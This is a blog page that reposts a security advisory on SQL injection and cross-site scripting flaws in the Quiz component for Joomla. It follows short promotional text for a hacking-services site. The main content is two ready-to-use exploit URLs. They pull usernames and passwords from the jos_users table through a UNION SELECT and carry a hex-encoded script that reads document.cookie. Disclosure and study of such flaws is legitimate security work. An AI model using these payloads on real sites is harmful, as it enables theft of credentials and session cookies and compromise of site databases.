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Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/56338/info

The Quiz component for Joomla! is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e,concat(username,0x3D,password)/**/from/**/jos_users+--+

http://www.example.com/index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e+--+